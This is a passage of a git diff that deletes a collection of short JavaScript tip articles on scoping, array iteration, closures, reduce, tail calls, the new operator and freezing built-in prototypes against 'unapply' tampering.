-    }, 100);
-}
-```
-
-### Should I replace `var` with `let`?
-
-> NO, `let` is the new block scoping `var`. That statement emphasizes that `let` should replace `var` only when `var` was already signaling
-> block scoping stylistically. Otherwise, leave `var` alone. `let` improves scoping options in JS, not replaces. `var` is still a useful signal for variables that are used throughout the function.
-
-### `let` compatibility
-
--   In server side, such as Node.js, you can safely use the `let` statement now.
--   In client side, through a transpiler (like [Traceur](https://github.com/google/traceur-compiler)), you can safely use the `let` statement. Otherwise, please consider the browser support [here](http://caniuse.com/#search=let)
-
-### Playground
-
-<div>
-  <a class="jsbin-embed" href="http://jsbin.com/yumaye/embed?js,console">JS Bin on jsbin.com</a><script src="http://static.jsbin.com/js/embed.min.js?3.39.11"></script>
-</div>
-
-### More info
-
--   [Let keyword vs var keyword](http://stackoverflow.com/questions/762011/let-keyword-vs-var-keyword)
--   [For and against let](https://davidwalsh.name/for-and-against-let)
--   [Explanation of `let` and block scoping with for loops](http://stackoverflow.com/questions/30899612/explanation-of-let-and-block-scoping-with-for-loops/30900289#30900289).
diff --git a/docs/content/dated/knowthepassingmechanism.md b/docs/content/dated/knowthepassingmechanism.md
deleted file mode 100644
index 2b19aafa8f..0000000000
--- a/docs/content/dated/knowthepassingmechanism.md
+++ /dev/null
@@ -1,51 +0,0 @@
--   /en/know-the-passing-mechanism/
-
-JavaScript is pass-by-value, technically. It is neither pass-by-value nor pass-by-reference, going by the truest sense of these terms. To understand this passing mechanism, take a look at the following two example code snippets and the explanations.
-
-### Example 1
-
-```js
-var me = {
-    // 1
-    partOf: 'A Team'
-};
-
-function myTeam(me) {
-    // 2
-
-    me = {
-        // 3
-        belongsTo: 'A Group'
-    };
-}
-
-myTeam(me);
-console.log(me); // 4  : {'partOf' : 'A Team'}
-```
-
-In above example, when the `myTeam` gets invoked, JavaScript is _passing the reference to_ `me` _object as value, as it is an object_ and invocation itself creates two independent references to the same object, (though the name being same here i.e. `me`, is misleading and gives us an impression that it is the single reference) and hence, the reference variable themselves are independent.
-
-When we assigned a new object at #`3`, we are changing this reference value entirely within the `myTeam` function, and it will not have any impact on the original object outside this function scope, from where it was passed and the reference in the outside scope is going to retain the original object and hence the output from #`4`.
-
-### Example 2
-
-```js
-var me = {
-    // 1
-    partOf: 'A Team'
-};
-
-function myGroup(me) {
-    // 2
-    me.partOf = 'A Group'; // 3
-}
-
-myGroup(me);
-console.log(me); // 4  : {'partOf' : 'A Group'}
-```
-
-In the case of `myGroup` invocation, we are passing the object `me`. But unlike the example 1 scenario, we are not assigning this `me` variable to any new object, effectively meaning the object reference value within the `myGroup` function scope still is the original object's reference value and when we are modifying the property within this scope, it is effectively modifying the original object's property. Hence, you get the output from #`4`.
-
-So does this later case not prove that javascript is pass-by-reference? No, it does not. Remember, _JavaScript passes the reference as value, in case of objects_. The confusion arises as we tend not to understand fully what pass by reference is. This is the exact reason, some prefer to call this as _call-by-sharing_.
-
-_Initially posted by the author on [js-by-examples](https://github.com/bmkmanoj/js-by-examples/blob/master/examples/js_pass_by_value_or_reference.md)_
diff --git a/docs/content/dated/loopingoverarrays.md b/docs/content/dated/loopingoverarrays.md
deleted file mode 100644
index c793806042..0000000000
--- a/docs/content/dated/loopingoverarrays.md
+++ /dev/null
@@ -1,109 +0,0 @@
----
-
-# Looping over arrays
-
-There's a few methods for looping over arrays in Javascript. We'll start
-with the classical ones and move towards additions made to the standard.
-
-## while
-
-```js
-let index = 0;
-const array = [1, 2, 3, 4, 5, 6];
-
-while (index < array.length) {
-    console.log(array[index]);
-    index++;
-}
-```
-
-## for (classical)
-
-```js
-const array = [1, 2, 3, 4, 5, 6];
-for (let index = 0; index < array.length; index++) {
-    console.log(array[index]);
-}
-```
-
-## forEach
-
-```js
-const array = [1, 2, 3, 4, 5, 6];
-
-array.forEach(function (current_value, index, array) {
-    console.log(`At index ${index} in array ${array} the value is ${current_value}`);
-});
-// => undefined
-```
-
-## map
-
-The last construct was useful, however, it doesn't return a new array which might
-be undesirable for your specific case. `map` solves this by applying a function
-over every element and then returning the new array.
-
-```js
-const array = [1, 2, 3, 4, 5, 6];
-const square = (x) => Math.pow(x, 2);
-const squares = array.map(square);
-console.log(`Original array: ${array}`);
-console.log(`Squared array: ${squares}`);
-```
-
-The full signature for `map` is `.map(current_value, index, array)`.
-
-## reduce
-
-From MDN:
-
-> The reduce() method applies a function against an accumulator and each element
-> in the array (from left to right) to reduce it to a single value.
-
-```js
-const array = [1, 2, 3, 4, 5, 6];
-const sum = (x, y) => x + y;
-const array_sum = array.reduce(sum, 0);
-console.log(`The sum of array: ${array} is ${array_sum}`);
-```
-
-## filter
-
-Filters elements on an array based on a boolean function.
-
-```js
-const array = [1, 2, 3, 4, 5, 6];
-const even = (x) => x % 2 === 0;
-const even_array = array.filter(even);
-console.log(`Even numbers in array ${array}: ${even_array}`);
-```
-
-## every
-
-Got an array and want to test if a given condition is met in every element?
-
-```js
-const array = [1, 2, 3, 4, 5, 6];
-const under_seven = (x) => x < 7;
-
-if (array.every(under_seven)) {
-    console.log('Every element in the array is less than 7');
-} else {
-    console.log('At least one element in the array was bigger than 7');
-}
-```
-
-## some
-
-Test if at least one element matches our boolean function.
-
-```js
-const array = [1, 2, 3, 9, 5, 6, 4];
-const over_seven = (x) => x > 7;
-
-if (array.some(over_seven)) {
-    console.log('At least one element bigger than 7 was found');
-} else {
-    console.log('No element bigger than 7 was found');
-}
-```
diff --git a/docs/content/dated/makeeasylooponarray.md b/docs/content/dated/makeeasylooponarray.md
deleted file mode 100644
index 115efb047f..0000000000
--- a/docs/content/dated/makeeasylooponarray.md
+++ /dev/null
@@ -1,97 +0,0 @@
--   /en/make-easy-loop-on-array/
-
----
-
-Sometimes, we need to loop endlessly over an array of items, like a carousel of images or an audio playlist. Here's how to take an array and give it "looping powers":
-
-```js
-var aList = ['A', 'B', 'C', 'D', 'E'];
-
-function make_looper(arr) {
-    arr.loop_idx = 0;
-
-    // return current item
-    arr.current = function () {
-        if (this.loop_idx < 0) {
-            // First verification
-            this.loop_idx = this.length - 1; // update loop_idx
-        }
-
-        if (this.loop_idx >= this.length) {
-            // second verification
-            this.loop_idx = 0; // update loop_idx
-        }
-
-        return arr[this.loop_idx]; //return item
-    };
-
-    // increment loop_idx AND return new current
-    arr.next = function () {
-        this.loop_idx++;
-        return this.current();
-    };
-    // decrement loop_idx AND return new current
-    arr.prev = function () {
-        this.loop_idx--;
-        return this.current();
-    };
-}
-
-make_looper(aList);
-
-aList.current(); // -> A
-aList.next(); // -> B
-aList.next(); // -> C
-aList.next(); // -> D
-aList.next(); // -> E
-aList.next(); // -> A
-aList.pop(); // -> E
-aList.prev(); // -> D
-aList.prev(); // -> C
-aList.prev(); // -> B
-aList.prev(); // -> A
-aList.prev(); // -> D
-```
-
-Using the `%` ( Modulus ) operator is prettier.The modulus return division's rest ( ` 2 % 5 = 1` and ` 5 % 5 = 0`):
-
-```js
-var aList = ['A', 'B', 'C', 'D', 'E'];
-
-function make_looper(arr) {
-    arr.loop_idx = 0;
-
-    // return current item
-    arr.current = function () {
-        this.loop_idx = this.loop_idx % this.length; // no verification !!
-        return arr[this.loop_idx];
-    };
-
-    // increment loop_idx AND return new current
-    arr.next = function () {
-        this.loop_idx++;
-        return this.current();
-    };
-
-    // decrement loop_idx AND return new current
-    arr.prev = function () {
-        this.loop_idx += this.length - 1;
-        return this.current();
-    };
-}
-
-make_looper(aList);
-
-aList.current(); // -> A
-aList.next(); // -> B
-aList.next(); // -> C
-aList.next(); // -> D
-aList.next(); // -> E
-aList.next(); // -> A
-aList.pop(); // -> E
-aList.prev(); // -> D
-aList.prev(); // -> C
-aList.prev(); // -> B
-aList.prev(); // -> A
-aList.prev(); // -> D
-```
diff --git a/docs/content/dated/maptotherescueaddingordertoobjectproperties.md b/docs/content/dated/maptotherescueaddingordertoobjectproperties.md
deleted file mode 100644
index d3790c900d..0000000000
--- a/docs/content/dated/maptotherescueaddingordertoobjectproperties.md
+++ /dev/null
@@ -1,65 +0,0 @@
-tip-writer-support: https://www.coinbase.com/loverajoel
-
--   /en/map-to-the-rescue-adding-order-to-object-properties/
-
-## Object properties order
-
-> An object is a member of the type Object. It is an unordered collection of properties each of which contains a primitive value, object, or function. A function stored in a property of an object is called a method. [ECMAScript](http://www.ecma-international.org/publications/files/ECMA-ST-ARCH/ECMA-262,%203rd%20edition,%20December%201999.pdf)
-
-Take a look in action
-
-```js
-var myObject = {
-	z: 1,
-	'@': 2,
-	b: 3,
-	1: 4,
-	5: 5
-};
-console.log(myObject) // Object {1: 4, 5: 5, z: 1, @: 2, b: 3}
-
-for (item in myObject) {...
-// 1
-// 5
-// z
-// @
-// b
-```
-
-Each browser have his own rules about the order in objects bebause technically, order is unspecified.
-
-## How to solve this?
-
-### Map
-
-Using a new ES6 feature called Map. A [Map](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Map) object iterates its elements in insertion order — a `for...of` loop returns an array of [key, value] for each iteration.
-
-```js
-var myObject = new Map();
-myObject.set('z', 1);
-myObject.set('@', 2);
-myObject.set('b', 3);
-for (var [key, value] of myObject) {
-  console.log(key, value);
-...
-// z 1
-// @ 2
-// b 3
-```
-
-### Hack for old browsers
-
-Mozilla suggest:
-
-> So, if you want to simulate an ordered associative array in a cross-browser environment, you are forced to either use two separate arrays (one for the keys and the other for the values), or build an array of single-property objects, etc.
-
-```js
-// Using two separate arrays
-var objectKeys = [z, @, b, 1, 5];
-for (item in objectKeys) {
-	myObject[item]
-...
-
-// Build an array of single-property objects
-var myData = [{z: 1}, {'@': 2}, {b: 3}, {1: 4}, {5: 5}];
-```
diff --git a/docs/content/dated/nodejsrunamoduleifitisnotrequired.md b/docs/content/dated/nodejsrunamoduleifitisnotrequired.md
deleted file mode 100644
index 448328a8cf..0000000000
--- a/docs/content/dated/nodejsrunamoduleifitisnotrequired.md
+++ /dev/null
@@ -1,17 +0,0 @@
--   /en/nodejs-run-a-module-if-it-is-not-required/
-
-In node, you can tell your program to do two different things depending on whether the code is run from `require('./something.js')` or `node something.js`. This is useful if you want to interact with one of your modules independently.
-
-```js
-if (!module.parent) {
-    // ran with `node something.js`
-    app.listen(8088, function () {
-        console.log('app listening on port 8088');
-    });
-} else {
-    // used with `require('/.something.js')`
-    module.exports = app;
-}
-```
-
-See [the documentation for modules](https://nodejs.org/api/modules.html#modules_module_parent) for more info.
diff --git a/docs/content/dated/observedomchanges.md b/docs/content/dated/observedomchanges.md
deleted file mode 100644
index b4dad81b2c..0000000000
--- a/docs/content/dated/observedomchanges.md
+++ /dev/null
@@ -1,53 +0,0 @@
--   /en/observe-dom-changes/
-
-[MutationObserver](https://developer.mozilla.org/en/docs/Web/API/MutationObserver) is a solution to listen DOM changes and do what you want to do with elements when they changed. In following example there is some emulation of dynamic content loading with help of timers, after first "target" element creation goes "subTarget".
-In extension code firstly rootObserver works till targetElement appearance then elementObserver starts. This cascading observing helps finally get moment when subTargetElement found.
-This useful to develop extensions to complex sites with dynamic content loading.
-
-```js
-const observeConfig = {
-    attributes: true,
-    childList: true,
-    characterData: true,
-    subtree: true
-};
-
-function initExtension(rootElement, targetSelector, subTargetSelector) {
-    var rootObserver = new MutationObserver(function (mutations) {
-        console.log('Inside root observer');
-        targetElement = rootElement.querySelector(targetSelector);
-        if (targetElement) {
-            rootObserver.disconnect();
-            var elementObserver = new MutationObserver(function (mutations) {
-                console.log('Inside element observer');
-                subTargetElement = targetElement.querySelector(subTargetSelector);
-                if (subTargetElement) {
-                    elementObserver.disconnect();
-                    console.log('subTargetElement found!');
-                }
-            });
-            elementObserver.observe(targetElement, observeConfig);
-        }
-    });
-    rootObserver.observe(rootElement, observeConfig);
-}
-
-(function () {
-    initExtension(document.body, 'div.target', 'div.subtarget');
-
-    setTimeout(function () {
-        del = document.createElement('div');
-        del.innerHTML = "<div class='target'>target</div>";
-        document.body.appendChild(del);
-    }, 3000);
-
-    setTimeout(function () {
-        var el = document.body.querySelector('div.target');
-        if (el) {
-            del = document.createElement('div');
-            del.innerHTML = "<div class='subtarget'>subtarget</div>";
-            el.appendChild(del);
-        }
-    }, 5000);
-})();
-```
diff --git a/docs/content/dated/passingargumentstocallbackfunctions.md b/docs/content/dated/passingargumentstocallbackfunctions.md
deleted file mode 100644
index 89e84afdca..0000000000
--- a/docs/content/dated/passingargumentstocallbackfunctions.md
+++ /dev/null
@@ -1,47 +0,0 @@
--   /en/passing-arguments-to-callback-functions/
-
-By default you cannot pass arguments to a callback function. For example:
-
----
-
-```js
-function callback() {
-    console.log('Hi human');
-}
-
-document.getElementById('someelem').addEventListener('click', callback);
-```
-
-You can take advantage of the closure scope in Javascript to pass arguments to callback functions. Check this example:
-
----
-
-```js
-function callback(a, b) {
-    return function () {
-        console.log('sum = ', a + b);
-    };
-}
-
-var x = 1,
-    y = 2;
-document.getElementById('someelem').addEventListener('click', callback(x, y));
-```
-
-### What are closures?
-
-Closures are functions that refer to independent (free) variables. In other words, the function defined in the closure 'remembers' the environment in which it was created. [Check MDN Documentation](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Closures) to learn more.
-
-So this way the arguments `x` and `y` are in scope of the callback function when it is called.
-
-Another method to do this is using the `bind` method. For example:
-
-```js
-var alertText = function (text) {
-    alert(text);
-};
-
-document.getElementById('someelem').addEventListener('click', alertText.bind(this, 'hello'));
-```
-
-There is a very slight difference in performance of both methods, checkout [jsperf](http://jsperf.com/bind-vs-closure-23).
diff --git a/docs/content/dated/pickingandrejectingobjectproperties.md b/docs/content/dated/pickingandrejectingobjectproperties.md
deleted file mode 100644
index 060be0c5ae..0000000000
--- a/docs/content/dated/pickingandrejectingobjectproperties.md
+++ /dev/null
@@ -1,52 +0,0 @@
----
-
-Sometimes we need to whitelist certain attributes from an object, say we've
-got an array representation of a database table and we need to `select` just
-a few fields for some function:
-
----
-
-```js
-function pick(obj, keys) {
-    return keys.map((k) => (k in obj ? { [k]: obj[k] } : {})).reduce((res, o) => Object.assign(res, o), {});
-}
-
-const row = {
-    'accounts.id': 1,
-    'client.name': 'John Doe',
-    'bank.code': 'MDAKW213'
-};
-
-const table = [row, { 'accounts.id': 3, 'client.name': 'Steve Doe', 'bank.code': 'STV12JB' }];
-
-pick(row, ['client.name']); // Get client name
-
-table.map((row) => pick(row, ['client.name'])); // Get a list of client names
-```
-
-There's a bit of skulduggery going on in pick. First, we `map` a function over
-the keys that will return, each time, an object with only the attribute pointed
-by the current key (or an empty object if there's no such attribute in the
-object). Then, we `reduce` this collection of single-attribute objects by
-merging the objects.
-
-But what if we want to `reject` the attributes? Well, the function changes a bit
-
----
-
-```js
-function reject(obj, keys) {
-    return Object.keys(obj)
-        .filter((k) => !keys.includes(k))
-        .map((k) => Object.assign({}, { [k]: obj[k] }))
-        .reduce((res, o) => Object.assign(res, o), {});
-}
-
-// or, reusing pick
-function reject(obj, keys) {
-    const vkeys = Object.keys(obj).filter((k) => !keys.includes(k));
-    return pick(obj, vkeys);
-}
-
-reject({ a: 2, b: 3, c: 4 }, ['a', 'b']); // => {c: 4}
-```
diff --git a/docs/content/dated/preventingunapplyattacks.md b/docs/content/dated/preventingunapplyattacks.md
deleted file mode 100644
index bd45dc67e1..0000000000
--- a/docs/content/dated/preventingunapplyattacks.md
+++ /dev/null
@@ -1,44 +0,0 @@
--   /en/preventing-unapply-attacks/
-
-By overriding the builtin prototypes, external code can cause code to break by rewriting code to expose and change bound arguments. This can be an issue that seriously breaks applications that works by using polyfill es5 methods.
-
-```js
-// example bind polyfill
-function bind(fn) {
-    var prev = Array.prototype.slice.call(arguments, 1);
-    return function bound() {
-        var curr = Array.prototype.slice.call(arguments, 0);
-        var args = Array.prototype.concat.apply(prev, curr);
-        return fn.apply(null, args);
-    };
-}
-
-// unapply-attack
-function unapplyAttack() {
-    var concat = Array.prototype.concat;
-    Array.prototype.concat = function replaceAll() {
-        Array.prototype.concat = concat; // restore the correct version
-        var curr = Array.prototype.slice.call(arguments, 0);
-        var result = concat.apply([], curr);
-        return result;
-    };
-}
-```
-
-The above function discards the `prev` array from the bind meaning that any `.concat` the first concat call following using the unapply attack will throw an error.
-
-By using [Object.freeze](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/freeze), making an object immutable, you prevent any overriding of the builtin object prototypes.
-
-```js
-(function freezePrototypes() {
-    if (typeof Object.freeze !== 'function') {
-        throw new Error('Missing Object.freeze');
-    }
-    Object.freeze(Object.prototype);
-    Object.freeze(Array.prototype);
-    Object.freeze(Function.prototype);
-})();
-```
-
-You can read more about unapply attacks [here](https://glebbahmutov.com/blog/unapply-attack/).
-Although this concept is called an 'unapply attack' due to some code being able to access closures that normally wouldn't be in scope, it is mostly wrong to consider this a security feature due to it not preventing an attacker with code execution from extending prototypes before the freezing happens and also still having the potential to read all scopes using various language features. ECMA modules would give realm based isolation which is much stronger than this solution however still doesn't fix the issues of third party scripts.
diff --git a/docs/content/dated/protocolsforthebrave.md b/docs/content/dated/protocolsforthebrave.md
deleted file mode 100644
index b5e0be2fe3..0000000000
--- a/docs/content/dated/protocolsforthebrave.md
+++ /dev/null
@@ -1,82 +0,0 @@
----
-
-You might have heard about the old ways gaining hype recently, and we don't
-mean praying to the gods of the north.
-
-Functional programming is the rediscovered toy which is bringing some sanity
-to the world of mutable state and global bindings.
-
-Today we're introducing a feature found in Clojure which allows you to define
-interfaces for your classes. Let's look at one-off implementation:
-
-```js
-const protocols = (...ps) => ps.reduce((c, p) => p(c), Object);
-
-const Mappable = (klass) => {
-    return class extends klass {
-        map() {
-            throw 'Not implemented';
-        }
-    };
-};
-
-const Foldable = (klass) => {
-    return class extends klass {
-        fold() {
-            throw 'Not implemented';
-        }
-    };
-};
-
-class NaturalNumbers extends protocols(Mappable, Foldable) {
-    constructor() {
-        super();
-        this.elements = [1, 2, 3, 4, 5, 6, 7, 8, 9];
-    }
-
-    map(f) {
-        return this.elements.map(f);
-    }
-
-    fold(f) {
-        return this.elements.reduce(f, this.elements, 0);
-    }
-}
-```
-
-Yes, we're building a chain of class inheritance up there with that reduce boy.
-It's pretty cool. We're doing it dynamically! You see, each protocol receives
-a base class (Object) and extends it somehow returning the new class. The idea
-is similar to that of interfaces.
-
-We supply method signatures for the protocol and make sure we provide
-implementations for it on our base classes.
-
-What's so cool about it? We get to write things like these:
-
-```js
-const map = (f) => (o) => o.map(f);
-const fold = (f) => (o) => o.fold(f);
-const compose = (...fns) => fns.reduce((acc, f) => (x) => acc(f(x)), id);
-```
-
-Ok, maybe we could have written those two functions without the above fuzz but,
-now that we know `NaturalNumbers` are `Mappable`, we can call `map` on them
-and trust it will return the right result. Furthermore, with our third function,
-we can _compose_ any number of operations defined in protocols cleanly:
-
-```js
-const plus1 = (x) => x + 1;
-const div5 = (x) => x / 5;
-const plus_then_div = compose(map(div5), map(plus1));
-console.log(plus_then_div(new NaturalNumbers()));
-// => [ 0.4, 0.6, 0.8, 1, 1.2, 1.4, 1.6, 1.8, 2 ]
-```
-
-More important, if we know that an object of ours is `Mappable`, we know `map`
-will work on it. Protocols gives us an idea of what we can do with an object and
-help us abstract common operations between data types, thus reducing the
-overhead of dealing with a hundred functions.
-
-What is easier? To have a hundred functions for every different object or ten
-functions that work on a hundred objects?
diff --git a/docs/content/dated/pseudomandatoryparametersinesfunctions.md b/docs/content/dated/pseudomandatoryparametersinesfunctions.md
deleted file mode 100644
index 92d815d632..0000000000
--- a/docs/content/dated/pseudomandatoryparametersinesfunctions.md
+++ /dev/null
@@ -1,16 +0,0 @@
--   /en/pseudomandatory-parameters-in-es6-functions/
-
-In many programming languages the parameters of a function are by default mandatory and the developer has to explicitly define that a parameter is optional. In Javascript, every parameter is optional, but we can enforce this behavior without messing with the actual body of a function, taking advantage of [**es6's default values for parameters**] (http://exploringjs.com/es6/ch_parameter-handling.html#sec_parameter-default-values) feature.
-
-```js
-const _err = function (message) {
-    throw new Error(message);
-};
-
-const getSum = (a = _err('a is not defined'), b = _err('b is not defined')) => a + b;
-
-getSum(10); // throws Error, b is not defined
-getSum(undefined, 10); // throws Error, a is not defined
-```
-
-`_err` is a function that immediately throws an Error. If no value is passed for one of the parameters, the default value is going to be used, `_err` will be called and an Error will be thrown. You can see more examples for the **default parameters feature** on [Mozilla's Developer Network ](https://developer.mozilla.org/en/docs/Web/JavaScript/Reference/Functions/default_parameters)
diff --git a/docs/content/dated/recursioniterationandtailcallsinjs.md b/docs/content/dated/recursioniterationandtailcallsinjs.md
deleted file mode 100644
index 6840b41ead..0000000000
--- a/docs/content/dated/recursioniterationandtailcallsinjs.md
+++ /dev/null
@@ -1,151 +0,0 @@
-tip-md-link: https://github.com/loverajoel/jstips/blob/master/_posts/en/javascript/2017-03-29-recursion-iteration-and-tail-calls-in-js.md
-
----
-
-If you've been on the business for some time, you have, most likely,
-come across the definition of recursion, for which the factorial of
-a given number `n! = n * (n - 1) * ... * 1` is a standard example.
-
----
-
-```js
-function factorial(n) {
-    if (n === 0) {
-        return 1;
-    }
-    return n * factorial(n - 1);
-}
-```
-
-The example shown above is but the most naive implementation of the
-factorial function.
-
-For the sake of completeness, let's look at how this executes for
-`n = 6`:
-
--   factorial(6)
-    -   6 \* factorial(5)
-        -   5 \* factorial (4)
-            -   4 \* factorial(3)
-                -   3 \* factorial(2)
-                    -   2 \* factorial(1)
-                        -   1 \* factorial(0)
-                            -   1
-                        -   (resuming previous execution) 1 \* 1 = 1
-                    -   (resuming...) 2 \* 1 = 2
-                -   (...) 3 \* 2 = 6
-            -   ... 4 \* 6 = 24
-        -   5 \* 24 = 120
-    -   6 \* 120 = 720
--   factorial(6) = 720
-
-Now, we must be very cautious as to what's happening so we can understand
-what is to come next.
-
-When we invoke a function, several things happen at once. The location to
-which we must return to after calling the function is saved, along with
-the information of the current frame (i.e, the value of n). Then space is
-allocated for the new function and a new frame is born.
-
-This goes on and on, we keep stacking these frames and then we unwind that
-stack, replacing function calls with values returned by them.
-
-Another thing to notice is the shape of the process generated by our function.
-You might not be surprised if I call this shape _recursive_. We have, thus, a
-_recursive process_.
-
-Let's take a look at a second implementation of this function.
-
----
-
-```js
-function factorial(n, res) {
-    if (n === 0) {
-        return res;
-    }
-    return factorial(n - 1, res * n);
-}
-```
-
-We can encapsulate functionality a bit further by defining an inner function.
-
----
-
-```js
-function factorial(n) {
-    function inner_factorial(n, res) {
-        if (n === 0) {
-            return res;
-        }
-        return inner_factorial(n - 1, res * n);
-    }
-    return inner_factorial(n, 1);
-}
-```
-
-Let's take a look at how this gets executed:
-
--   factorial(6)
-    -   inner anonymous function (iaf) gets called with (n = 6, res = 1)
-        -   iaf(5, 1 \* 6)
-            -   iaf(4, 6 \* 5)
-                -   iaf(3, 30 \* 4)
-                    -   iaf(2, 120 \* 3)
-                        -   iaf(1, 360 \* 2)
-                            -   iaf(0, 720)
-                                -   720
-                            -   720
-                        -   720
-                    -   720
-                -   720
-            -   720
-        -   720
-    -   iaf (6, 1) = 720
--   factorial(6) = 720
-
-You might notice that we didn't need to perform any calculation after unwinding
-the stack. We just returned a value. But, according to our rules, we had to save
-the state as a stack frame, even if it weren't of any use later in the chain.
-
-Our rules, however, are not applied to every language out there. In fact, in
-Scheme it's mandatory for such chains to be optimized with tail call
-optimization. This ensures that our stack is not filled with unnecessary frames.
-Our previous calculation would look, thus, this way:
-
--   factorial(6)
--   iaf(6, 1)
--   iaf(5, 6)
--   iaf(4, 30)
--   iaf(3, 120)
--   iaf(2, 360)
--   iaf(1, 720)
--   iaf(0, 720)
--   720
-
-Which in turns, looks an awfully lot like
-
-```js
-res = 1;
-n = 6;
-
-while (n > 1) {
-    res = res * n;
-    n--;
-}
-```
-
-This means, we actually have an _iterative process_, even if we're using
-recursion. How cool is that?
-
-The good news is, this is a feature in ES6. As long as your recursive call
-is in tail position and your function has strict mode, tail call optimization
-will kick in and save you from having a `maximum stack size exceeded` error.
-
-UPDATE Dec 1, 2017:
-The only major browser with tail call optimization is Safari.<sup id="a1">1</sup> V8 has an implentation<sup>2</sup> but has not shipped it yet<sup>3</sup> for the reasons listed.
-
-1: https://kangax.github.io/compat-table/es6/#test-proper_tail_calls_(tail_call_optimisation)
-
-2: https://bugs.chromium.org/p/v8/issues/detail?id=4698
-
-3: https://v8project.blogspot.com/2016/04/es6-es7-and-beyond.html
diff --git a/docs/content/dated/remindersaboutreducefunctionusage.md b/docs/content/dated/remindersaboutreducefunctionusage.md
deleted file mode 100644
index cb89781e43..0000000000
--- a/docs/content/dated/remindersaboutreducefunctionusage.md
+++ /dev/null
@@ -1,107 +0,0 @@
--   /en/reminders-about-reduce-function-usage/
-
-As written in documentation the `reduce()` method applies a function against an accumulator and each value of the array (from left-to-right) to reduce it to a single value.
-
-### Signature
-
-[reduce()](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/Reduce) function accepts 2 parameters (M: mandatory, O: optional):
-
--   (M) a callback **reducer function** to be applied that deals with a pair of previous (result of previous computation) and next element until end of the list.
--   (O) an **initial value** to be used as the first argument to the first call of the callback.
-
-So let's see a common usage and later a more sophisticated one.
-
-### Common usage (accumulation, concatenation)
-
-We are on Amazon website (prices in $) and our caddy is quite full, let's compute total.
-
-```js
-// my current amazon caddy purchases
-var items = [{ price: 10 }, { price: 120 }, { price: 1000 }];
-
-// our reducer function
-var reducer = function add(sumSoFar, item) {
-    return sumSoFar + item.price;
-};
-
-// do the job
-var total = items.reduce(reducer, 0);
-
-console.log(total); // 1130
-```
-
-Optional reduce function parameter was primitive integer type 0 in that first case, but it could have been an Object, an Array...instead of a primitive type,
-but we will see that later.
-
-Now, cool I received a discount coupon of 20$.
-
-```js
-var total = items.reduce(reducer, -20);
-
-console.log(total); // 1110
-```
-
-### Advanced usage (combination)
-
-This second usage example is inspired by Redux [combineReducers](http://redux.js.org/docs/api/combineReducers.html) function [source](https://github.com/reactjs/redux/blob/master/src/combineReducers.js#L93).
-
-Idea behind is to separate reducer function into separate individual functions and at the end compute a new _single big reducer function_.
-
-To illustrate this, let's create a single object literal with some reducers function able to compute total prices in different currency $, €...
-
-```js
-var reducers = {
-    totalInDollar: function (state, item) {
-        // specific statements...
-        return (state.dollars += item.price);
-    },
-    totalInEuros: function (state, item) {
-        return (state.euros += item.price * 0.897424392);
-    },
-    totalInPounds: function (state, item) {
-        return (state.pounds += item.price * 0.692688671);
-    },
-    totalInYen: function (state, item) {
-        return (state.yens += item.price * 113.852);
-    }
-    // more...
-};
-```
-
-Then, we create a new swiss knife function
-
--   responsible for applying each partial reduce functions.
--   that will return a new callback reducer function
-
-```js
-var combineTotalPriceReducers = function (reducers) {
-    return function (state, item) {
-        return Object.keys(reducers).reduce(function (nextState, key) {
-            reducers[key](state, item);
-            return state;
-        }, {});
-    };
-};
-```
-
-Now let's see how using it.
-
-```js
-var bigTotalPriceReducer = combineTotalPriceReducers(reducers);
-
-var initialState = { dollars: 0, euros: 0, yens: 0, pounds: 0 };
-
-var totals = items.reduce(bigTotalPriceReducer, initialState);
-
-console.log(totals);
-
-/*
-Object {dollars: 1130, euros: 1015.11531904, yens: 127524.24, pounds: 785.81131152}
-*/
-```
-
-I hope this approach can give you another idea of using reduce() function for your own needs.
-
-Your reduce function could handle an history of each computation by instance as it is done in Ramdajs with [scan](http://ramdajs.com/docs/#scan) function
-
-[JSFiddle to play with](https://jsfiddle.net/darul75/81tgt0cd/)
diff --git a/docs/content/dated/returnobjectstoenablechainingoffunctions.md b/docs/content/dated/returnobjectstoenablechainingoffunctions.md
deleted file mode 100644
index a80aec1d08..0000000000
--- a/docs/content/dated/returnobjectstoenablechainingoffunctions.md
+++ /dev/null
@@ -1,24 +0,0 @@
--   /en/return-objects-to-enable-chaining-of-functions/
-
-When creating functions on an object in Object Oriented Javascript, returning the object in the function will enable you to chain functions together.
-
----
-
-```js
-function Person(name) {
-    this.name = name;
-
-    this.sayName = function () {
-        console.log('Hello my name is: ', this.name);
-        return this;
-    };
-
-    this.changeName = function (name) {
-        this.name = name;
-        return this;
-    };
-}
-
-var person = new Person('John');
-person.sayName().changeName('Timmy').sayName();
-```
diff --git a/docs/content/dated/returnvalueswiththenewoperator.md b/docs/content/dated/returnvalueswiththenewoperator.md
deleted file mode 100644
index 5936e74df9..0000000000
--- a/docs/content/dated/returnvalueswiththenewoperator.md
+++ /dev/null
@@ -1,83 +0,0 @@
--   /en/return-values-with-the-new-operator/
-
-You're going to run into some instances where you'll be using `new` to allocate new objects in JavaScript. It's going to blow your mind unless you read this tip to understand what's happening behind the scenes.
-
-The `new` operator in JavaScript is an operator that, under reasonable circumstances, returns a new instance of an object. Let's say we have a constructor function:
-
----
-
-```js
-function Thing() {
-    this.one = 1;
-    this.two = 2;
-}
-
-var myThing = new Thing();
-
-myThing.one; // 1
-myThing.two; // 2
-```
-
-**Note**: `this` refers to the new object created by `new`. Otherwise if `Thing()` is called without `new`, **no object is created**, and `this` is going to point to the global object, which is `window`. This means that:
-
-1. You'll suddenly have two new global variables named `one` and `two`.
-2. `myThing` is now undefined, since nothing is returned in `Thing()`.
-
-Now that you get that example, here's where things get a little bit wonky. Let's say I add something to the constructor function, a little SPICE:
-
----
-
-```js
-function Thing() {
-    this.one = 1;
-    this.two = 2;
-
-    return 5;
-}
-
-var myThing = new Thing();
-```
-
-Now, what does myThing equal? Is it 5? is it an object? Is it my crippled sense of self-worth? The world may never know!
-
-Except the world does know:
-
-```js
-myThing.one; // 1
-myThing.two; // 2
-```
-
-Interestingly enough, we never actually see the five that we supposedly 'returned' from our constructor. That's weird, isn't it? What are you doing function? WHERE'S THE FIVE? Let's try it with something else.
-
-Let's return a non-primitive type instead, something like an object.
-
----
-
-```js
-function Thing() {
-    this.one = 1;
-    this.two = 2;
-
-    return {
-        three: 3,
-        four: 4
